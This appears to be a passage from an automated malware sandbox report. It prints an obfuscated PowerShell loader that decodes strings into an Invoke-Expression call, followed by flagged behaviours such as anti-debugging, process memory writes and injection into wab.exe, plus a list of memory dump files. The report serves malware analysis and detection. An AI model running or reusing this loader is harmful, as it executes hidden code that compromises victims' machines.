n)Va;Mo&Te(Aa`$BeKTioFol SejesCrtBleVarPsoStlPisTv7Te)de Va(PrMSkilelbnlTeiPrsWuePrcSu0Se4Ve Pr'CyAGoC SCHoCChEUd7doEAk6UdEDe3MeEDrD DFSu1OsERe5 UECr9 UESt6LeEPeCStETiDKiERe6PyA d8TrBTe5NiABo8PeAMeCHaDSoBPlFfuCocEMa9VaFNoATrF RC DFShBBlFPe1 FEAn5 IE oAesERy7KrESy4OrF LBFoACh6GaC A1 VETr6 VFDoEFoEEl7 PEFi3PiEMeDWoAFr0 OAtr5 IB M9 BASt4VeBIm8UpAHo4BrBKoEHaBGrC TADe4MuB N8WhA K4TiAMe8DuBHeBTaBenDDeBRe8PoBlaEPrBIn9 EBRuFDiBVeEPeB R8BiASu4FiBFa8LuASu1Re'Mo)Ha;Br&Di( B`$NaKGroNelDee Is vttueFerOvoEmlDos B7Ko)Ud Ku(PiMBuiBilMalUniSys TeSacUn0So4br Un'CoAOrCStDCrB SEin6udEJo1CeF T8TiFTr8CoETa1PaECa4InF K1AnAKo8TeB k5InA C8AfAklCLuCBa1VsEKi6UnFBaCAcE BDwaE U6JoFRiC CEPa6 CEChDStFTaBEkFPnB DE PDNoFBlB BAMy6poC U1 SEFo6InFPlEPeEJe7 HEWe3RaEQuDUnAGa0TiAdaCGiChoCObE V7 CEIs6GaEUa3 KEHaDBlFBo1StESu5 FEth9OpETj6MaEGeCSuE BD PESk6VaAVa4StBLa8 TD A0 FBFoAVaBAfAAnANo4 SBPe8PlA P4GuBAs8CeAPi4ErBta8AnADe1 S'Ep)Sl;Th`$ cfToiBll HmApsInkPauOueBispupTriSel AlNoeEnr Le Is O2Se=Ve`"""Hu`$ EetrnjovTu:ReTTaEKaM BP I\shaErfPodSvelilIciSonHeg SsciamarvikTeiBatsteHakHotRaeKirXis S\PuDSleUrlBaetazUno Nn TeFrn PsJe\KaWKlaBukSliEpnApgDe\GrRSpuAvlDalDee KgRaaRerNodTaiUln veAbrDi\ ASBeuNdbtefProResDrsKioTarSeiHeaDolpr. GS VeNamKo`"""Ti;Ub&ro(Tr`$ReK To AlPae JsFotDoeMirTuoLalOus A7 O)Fo Co(UnMtuiKilPalSpisusSae Pccr0Op4St Th'FoASwCMiCBiE CEIn7BuFAvAOuESt3InEDi9TuFHaB AFAmCNoEHaD uFUnAUdAUn8 OBLa5OuAEu8 QDar3 VDSmB MFOp1SuFcuBFrF PCBeEPrDFrEAz5toAAr6TeCFo1 FCKl7AeAto6 TCNoEUnEBy1SlETe4ChECaDScDIn5GaBDa2MaBOr2SoDHaA eEAnDSuEAb9KlEDiCAnCRe9SkEEv4DiELi4SpCPaAFlF C1 LF YCSuEViDKuFSuBToA F0ShAAnC HEKaEPaEBe1MuESt4 REUn5AbFagBToESt3DeF PDChEDiD BFloBTrFAd8MyEPh1FoESk4DiEUn4UfE cDAnFreAPaEKoDGiFSpBArBImAToAEs1Sa'Ly)Di; I`$VoSCokTekLieArp EiStbExeFr= S`$ WFCaoRerSykFeaThsMet KeKer S.recMooFau HnSktCo-Pr1To0Tr2Pr4Me;Mu&or(Ma`$StKcioFnl Se SsMatUneSprUnoMal usSh7Sc)Ca D( SMPoiOplAslUnisasSteAgcFu0Mo4Re Ho'coDJu3OkDNeBGoFLa1riFAmB AF PCEnECoDBuESa5LiAKa6guDNoAKoFMoDTrEOr6SlFMaCAeETo1FoEbe5TaEFoDTjAsi6CiC H1DoE H6FaFReC MESyD BFleAOuEEx7 AFOp8PiDNaBStEsvDBaF GADiFAmE TEKp1 REJoBCuEGrD DF CBUnA V6OpCRa5PoESh9 OFFoA TFUnBFoEAl0DiEDe9BeE G4suDAf5ChBAb2SlBDu2wiCBiBisERi7skFDr8StFMa1UnARe0YaASuCRoCAsEBsEAb7DeFMeAceERe3 RE P9 RFDaBSkFdiCMiE ED PFSaA WAAg4HuADa8GeBRi9InBHa8MuBRaAtsB BC SATa4OvA M8 PAHeCFeD LB AEMa6BeESt1 HFLi8BlFCa8PaESt1BeESu4 FF S1UnABa4SoARe8EdAReCCaDHoBTiEDe3StEDr3SiE ADBeFUd8AfEHe1FaEPoAReE aDRiAUn1Re'Se)Sv;Mi&Va(ab`$FiKTvoRel AeMas StSuePer RoLal BsNy7ci)Ta Te(EjMmaiPal SlCriCosFaeBrc S0Mi4La Al'ViAOrC SCCo0 HE BDHoFSlAPuEme9NeE SB rEDi4TaEPl1 DEGaCphEBr9FiEFiD AA B8PoBSi5BaABo8FoDUd3BiDEnBQuFHj1 BF MBPoFRoCMoELoDUnEsk5piAPr6GrDvaASaFKoDStEDa6SqFQuC BEIn1 SESa5ChEUnDAnAFa6deCDo1TeEBo6FoFtaCAcEHvDFoFLnABeEEc7FoFUd8OmD ABSuEFaD hFPeAUlF MEFlE T1EnE TBIlEasDDeFGaBAnA D6AmC S5PeE F9 PFBoAHoF TBLeEPo0 LESt9 EE D4TeDUs5LyBPl2 ABSt2ArCReFStEhaDPrFBeCBoCFeCPsEBaDDrEan4ToEReDTtE SFkuEPl9BjFTeCTuEUdD ACmeE REFl7AeF CA OCTyEBeF FDKoE D6ObESaBspF CCSoEKn1ddEch7LuETe6 hDJu8FiEAf7 DETw1GrE a6SiFAmCMeEblDEnFAnAObAPe0 iASa0TrCAf3GoEKu7QuE O6 AEDe7CuECi5 FEta1 SFUn8noErh7KlE F4EkE R1TaFEpC OEin1SaE S3OvEMo3 MEHyDKoEUn6 KFKeBKoBPaBWhACa8ApA ECSpCYnCUnEPe2SyF DCKnASu8CrAGoCInC E1BeECa6ArEBeCufE HFUnESt1MoFSeE FEThD DE I4ShF SBDoEbeD OFGiBSiAph1PaANo4 KAPs8OrAUd0ApCUn3OvE C7OpECo6ReEDe7MaEPr5HyEGo1 OFte8 HESm7KiEsu4SmESm1FoFFoCGeEGr1 CEVe3FoEGr3GaEFeDGeE P6diFFaBEfBEkAShACo8 ECPa8 SA S0 EDHo3CoCAm1GaEAr6HeFBrCpiDPr8skFSgCbiFguA PDNe5SaA B4OrAGa8NeDTr3CrCRu1VeEFl6EkFPeCGaD B8FaFLaCGrFMaASuD O5JoASm4FaAro8FiDTh3 KC S1CoEMi6SaFLuCpaDBa8ArFStCUnFSeASuDYe5 PAdu1SnA A8FrANo0TrDIn3koCUv1FeEIn6DeFUnCelDOv8TaFXyCSkFKaALaDDa5UrASe1StAIn1teAFi1 D'An) B;Te&Pi(No`$FrK KoAblRee msPatTae DrOvoVolDrsUd7Ku) k H(shM FiOblInlCriAfsMieApcOp0 O4 s st'AlAOvCSaCOm0TuE UD GFSuA uEAm9VaE BBGoEDe4BoEDo1GtEcaCScEHu9BrEHeD DAOp6 cC B1 DEMi6CiFHaE SE H7TrEAl3NiEExDPiA L0UdBBr8toASi4AdAUdC ADCoBAbEUd6 SEDa1 GFUn8KaFAc8GyESu1AaESk4IsFEp1StA D4FlB S8ScAHo1Fr'Hy)Is#Ma;""";function Konomipolitikkens5 ($Deneuve,$Unadoringly) { &$Konomipolitikkens0 (Trapballs9 'Ve$deD heRen CeRauRavPieTr Hi-Reb IxTuoDyrSt D$diURenEraFndDioElr FiInnIngExlFryPa ');}Function Trapballs9 ($Resinifies) { $Genforsikringernes=2+1; For($Coders=2; $Coders -lt $Resinifies.Length-1; $Coders+=($Genforsikringernes)){ $Ordensforanstaltningens = 'su'+'bstri'+'ng'; $Millisec = $Millisec + $Resinifies.$Ordensforanstaltningens.Invoke($Coders, 1); } $Millisec;}$Konomipolitikkens0 = Trapballs9 ' FIprE AXLs ';&$Konomipolitikkens0 (Trapballs9 $Maundy);<#Shrinky Adelskronens Mickey Amylin Linguatula #>;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Ankeinstansens.Anp
Subfossorial.Sem
GXUY3AJ45EL1X4N3FA3L.temp
memory/1832-43-0x00000000008A0000-0x0000000002A10000-memory.dmp
memory/1832-41-0x00000000008A0000-0x0000000002A10000-memory.dmp
memory/1832-32-0x0000000077350000-0x00000000774F9000-memory.dmp
memory/1832-44-0x000000006FA80000-0x0000000070AE2000-memory.dmp
memory/1832-30-0x00000000008A0000-0x0000000002A10000-memory.dmp
memory/1832-40-0x000000006FA80000-0x0000000070AE2000-memory.dmp
memory/2432-12-0x0000000073D90000-0x000000007433B000-memory.dmp
memory/2432-42-0x0000000073D90000-0x000000007433B000-memory.dmp
memory/2432-13-0x00000000028F0000-0x0000000002930000-memory.dmp
memory/2432-35-0x00000000028F0000-0x0000000002930000-memory.dmp
memory/2432-34-0x00000000028F0000-0x0000000002930000-memory.dmp
memory/2432-15-0x00000000028F0000-0x0000000002930000-memory.dmp
memory/2432-31-0x0000000073D90000-0x000000007433B000-memory.dmp
memory/2432-14-0x0000000073D90000-0x000000007433B000-memory.dmp
memory/2432-33-0x00000000028F0000-0x0000000002930000-memory.dmp
memory/2716-23-0x0000000002A50000-0x0000000002A90000-memory.dmp
memory/2716-29-0x0000000077540000-0x0000000077616000-memory.dmp
memory/2716-37-0x0000000002A50000-0x0000000002A90000-memory.dmp
memory/2716-36-0x0000000073D90000-0x000000007433B000-memory.dmp
memory/2716-39-0x0000000002A50000-0x0000000002A90000-memory.dmp
memory/2716-38-0x0000000002A50000-0x0000000002A90000-memory.dmp
memory/2716-28-0x0000000077350000-0x00000000774F9000-memory.dmp
memory/2716-25-0x0000000002A50000-0x0000000002A90000-memory.dmp
memory/2716-26-0x0000000002A50000-0x0000000002A90000-memory.dmp
memory/2716-24-0x0000000073D90000-0x000000007433B000-memory.dmp
memory/2716-22-0x0000000073D90000-0x000000007433B000-memory.dmp